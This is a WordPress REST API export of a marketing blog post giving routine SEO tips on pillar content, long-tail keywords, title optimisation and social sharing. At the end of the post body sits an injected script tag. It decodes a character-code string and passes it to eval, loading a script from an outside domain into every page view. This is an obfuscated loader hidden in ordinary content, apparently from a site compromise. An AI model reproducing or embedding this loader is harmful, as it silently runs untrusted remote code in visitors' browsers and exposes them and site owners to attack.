{"id":6178,"date":"2023-06-09T10:56:28","date_gmt":"2023-06-09T10:56:28","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/5-ways-to-improve-search-engine-visibility-with-content-marketing\/"},"modified":"2023-06-09T10:56:28","modified_gmt":"2023-06-09T10:56:28","slug":"5-ways-to-improve-search-engine-visibility-with-content-marketing","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/5-ways-to-improve-search-engine-visibility-with-content-marketing\/","title":{"rendered":"5 Ways to Improve Search Engine Visibility with Content Marketing"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/5-ways-to-improve-search-engine-visibility-with-content-marketing\/#Use_Pillar_Content\" title=\"Use Pillar Content\">Use Pillar Content<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/5-ways-to-improve-search-engine-visibility-with-content-marketing\/#Focus_on_Long-Tail_Keywords\" title=\"Focus on Long-Tail Keywords\">Focus on Long-Tail Keywords<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/5-ways-to-improve-search-engine-visibility-with-content-marketing\/#Optimize_All_of_Your_Titles\" title=\"Optimize All of Your Titles\">Optimize All of Your Titles<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/5-ways-to-improve-search-engine-visibility-with-content-marketing\/#Share_Share_Share\" title=\"Share, Share, Share\u00a0\">Share, Share, Share\u00a0<\/a><\/li><\/ul><\/nav><\/div>\n<p><span style=&quot;font-weight: 400;&quot;>Marketers will always say that content is king, and when it comes to your search engine visibility, this couldn\u2019t be more true. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>If you have any kind of digital marketing strategy in place, you already know why content marketing is important for your<\/span><span style=&quot;font-weight: 400;&quot;> SEO strategy<\/span><span style=&quot;font-weight: 400;&quot;>. However, knowing why to do something is quite different than knowing how to do something.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Here are 5 trusted, proven ways to improve your search engine visibility with content marketing.\u00a0<\/span><\/p>\n<p><img class=&quot;aligncenter size-full wp-image-2495&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2020\/02\/5-Ways-to-Improve-Search-Engine-Visibility-with-Content-Marketing.jpg&quot; alt=&quot;5 Ways to Improve Search Engine Visibility with Content Marketing&quot; width=&quot;2426&quot; height=&quot;1728&quot; \/><\/p>\n<p><strong style=&quot;color: inherit; font-size: 1.95em;&quot;>Establish Your Expertise<\/strong><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Google\u2019s crawlers rank websites higher when they believe that website is an expert on the particular keyword or topic. But how exactly do you establish expertise? Here are some ways you can do this:<\/span><\/p>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Stay on point and keep your content relevant to your specific topic.<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Don\u2019t try to become an expert in everything. This will confuse the crawlers, and as a result, they won\u2019t know how to index your page.<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Use a link building strategy to obtain high-quality hyperlinks to your site.<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Publish content consistently.<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Try guest blogging on other industry websites to establish yourself as a leading thought expert in your industry.<\/span><\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Use_Pillar_Content\"><\/span><strong> Use Pillar Content<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Every content marketing strategy relies heavily on keyword research. However, in the last few years, Google has made some changes to its algorithm to focus on user intent instead of specific keyword matches. That means you need to think the way your audience is thinking. This is where pillar content comes in.\u00a0<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>With pillar content, the emphasis is on topic clusters. You make one pillar page that covers the topic in a more broad context, and then that pillar page links out to individual blogs or other pages based on subtopics that relate directly to that broad category. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>For example, if you\u2019re a real estate company, you could have a pillar page dedicated to first time home buyers that links out to content clusters on individual topics such as what to look for in a home, how to finance your first home, what makes a good agent, and so on.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>So, instead of individual blog posts optimized to rank for specific keywords, you have a cohesive content strategy aligned around topics that form a stronger architecture on your site.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Focus_on_Long-Tail_Keywords\"><\/span><strong> Focus on Long-Tail Keywords<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Long-tail keywords are easier to rank for because they are narrowed, down, specific, and refined. They are also more closely aligned to what your audience is searching for, which will tell Google you\u2019re a relevant and well-matched choice for them. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>According to <\/span><span style=&quot;font-weight: 400;&quot;>HubSpot<\/span><span style=&quot;font-weight: 400;&quot;>, 64% of all searches online are longer than four words. With the rise of voice search using smart home devices like Amazon\u2019s Alexa and Apple\u2019s Siri, this is something you should always have at the back of your mind. Before those devices were as popular as they are now, voice search still accounted for 20% of mobile Google <\/span><span style=&quot;font-weight: 400;&quot;>searches<\/span><span style=&quot;font-weight: 400;&quot;>.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Another benefit of using long-tail keywords is that you\u2019re going to get more qualified leads. Someone who is looking for something very specific, like \u201cred sports cars under $20,000,\u201d is at a much further stage in the buying process than someone making a broad search such as \u201cred cars.\u201d\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Optimize_All_of_Your_Titles\"><\/span><strong> Optimize All of Your Titles<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Every page, blog, and piece of content should be fully optimized for SEO. This includes the meta description, page title tags, headings, and image alt tags. Do an SEO audit if you need to. If you don\u2019t have a strong SEO background, it\u2019s possible to overlook this step or not completely understand how to properly optimize each item.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Keep in mind that a good meta description alone won\u2019t automatically get you a higher ranking on Google, but it will help tell users what your page is about when they see you in a search result. This can lead to a higher chance that someone will click on your link, which results in increased traffic to your site (which, in turn, is great for SEO).\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Share_Share_Share\"><\/span><strong> Share, Share, Share\u00a0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Get your content out there on your social media channels, and make sure they\u2019re integrated with your website. Social media has a strong impact on your search visibility in a variety of ways. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Firstly, the more of your content that gets shared in different networks, the more traffic you\u2019ll get. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Secondly, the more consistently you post, the more Google will notice and factor that into your rank. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Lastly, your social profiles can rank in Google, too. In fact, some people use social media as a search engine, so you want to make sure they can find your content there, too.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Links back to your site shouldn\u2019t be the only thing you publish on social media, because you do want to keep engaging with your audience and providing value. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>However, sending out little snippets or bits of value from that content is a great way to get people interested in reading or learning more about that topic.<\/span><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Marketers will always say that content is king, and when it comes to your search engine visibility, this couldn\u2019t be more true. If you have any kind of digital marketing strategy in place, you already know why content marketing is important for your SEO strategy. However, knowing why to do something is quite different than [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6178","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6178"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6178"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6178\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6178"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6178"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6178"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}